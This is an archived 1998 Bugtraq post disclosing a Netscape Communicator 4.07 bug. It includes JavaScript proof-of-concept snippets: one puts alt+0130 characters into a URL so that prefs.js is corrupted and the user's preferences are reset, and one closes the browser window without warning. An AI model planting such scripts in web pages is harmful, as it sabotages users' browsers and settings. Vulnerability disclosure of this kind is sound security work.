[8243] in bugtraq
Netscape Communicator 4.07 - Prefs.js Reset
daemon@ATHENA.MIT.EDU (Themag00ru)
Wed Oct 21 22:56:25 1998
Date: Mon, 19 Oct 1998 16:25:26 +0200
Reply-To: Themag00ru <XThemag00ru@USA.NETX>
From: Themag00ru <XThemag00ru@USA.NETX>
To: BUGTRAQ@NETSPACE.ORG
I don`t know if this is already known or not.
Anyway if you put alt+0130 characters into the URL, netscape
will write it into the url history in prefs.js
example:
*<SCRIPT LANGUAGE=3D"JavaScript"><!--Do hide from new Mo Zilla
*function oops(){
*window.open("http://somewhere.com/ =82=82=82=82=82=82=82","_parent");
*}
*// --></SCRIPT>
would go to the specified address and will write the address in prefs.j=
s
After you shut down netscape and start it later it will give errors li=
ke:
unterminated string literal
Default Prefences will be used.
Which means your Preference settings have gone bye bye.
And another thing thats even more weird is the fact that after a few ye=
ars
of javascript and browser history...this 1 still works:
*<SCRIPT LANGUAGE=3D"JavaScript"><!--
*function oops(){
*window.alert("Bye Bye");
*window.close();
*}
*// --></SCRIPT>
No warnings again just like the older versions it just closes.
Themag00ru
